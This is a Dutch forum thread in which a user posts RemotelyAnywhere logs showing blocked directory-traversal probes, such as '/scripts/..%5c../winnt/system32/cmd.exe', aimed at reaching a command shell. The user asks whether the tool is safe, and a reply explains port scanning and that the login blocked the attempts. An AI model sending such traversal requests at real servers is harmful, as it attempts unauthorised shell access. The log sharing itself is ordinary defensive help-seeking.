Is remotley anywhere veilig?

[anoniem]

Hallo allemaal, Ik zat vanavond mijn logs door te kijken van het programma remotely anywhere en dit is wat ik tegenkwam: 4-10-25 00:48:39.004 - Info - RemotelyAnywhere - Session - 82.230.147.116 - Session started. 2004-10-25 00:48:39.004 - Info - RemotelyAnywhere - Session - 82.230.147.116 - Unauthorized access, redirecting. 2004-10-25 00:48:39.004 - Error - RemotelyAnywhere - Session - 82.230.147.116 - Request for /scripts/root.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:39.125 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:39.125 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:39.125 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /MSADC/root.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:39.245 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:39.245 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:39.245 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /c/winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:39.726 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:39.726 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:39.726 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /d/winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:40.216 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:40.216 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:40.216 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..%5c../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:40.527 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:40.527 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:40.527 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:40.647 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:40.647 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:40.647 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:40.767 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:40.767 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:40.777 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:40.887 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:40.887 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:40.887 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..Á../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:41.037 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:41.037 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:41.037 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..À/../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:41.358 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:41.358 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:41.358 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/../../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:41.879 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:41.879 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:41.879 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..\../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:42.279 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:42.279 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:42.279 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..5c../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:42.399 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:42.399 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:42.399 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..5c../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:42.530 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:42.530 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:42.530 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..%5c../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. 2004-10-25 00:48:42.650 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Session started. 2004-10-25 00:48:42.650 - Info - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Unauthorized access, redirecting. 2004-10-25 00:48:42.650 - Error - RemotelyAnywhere - Session - 82.230.147.116/villeurbanne-8-82-230-147-116.fbx.proxad.net - Request for /scripts/..%2f../winnt/system32/cmd.exe returned error: 403 Forbidden (0x5), unauthorized request 0x5. Voor de duidelijkheid, dat is niet mijn IP adres. Iemand heeft hier duidelijk geprobeerd mijn computer te hacken. Kan iemand mij een klein beetje vertellen wat hier nu is gebeurd? Wat heeft deze persoon proberen te doen met mijn computer? Hij was duidelijk op zoek naar de command prompt (cmd.exe) op mijn pc. Maar een nog belangrijker vraag. Is remotely anywhere veilig als iemand er zo makkelijk in kan komen. Heeft iemand anders hier ervaring mee? Groeten, Hans Hoek

[anoniem]

Tja, er zijn er altijd die zich bezighouden met behulp van allerlei software om poorten af te scannen van eventuele apps geinstalleerd op je systeem zoals remotely anywhere, pc anywhere... Via zo'n programma (zoals netbrute bijvoorbeeld) scannen ze een IPrange af en zien ze welke poorten er zichtbaar en/of open staan, en zo gaan ze dan verder te werk. Zien ze een poort open of zichtbaar, dan proberen ze dus ook binnen te geraken. Doch dit gaat allemaal niet zo simpel aangezien er ook gebruikt wordt gemaakt van login en paswoord. En zoals je ziet: "Unauthorized access, redirecting" geraken ze dus niet binnen en worden ze teruggestuurd. ;)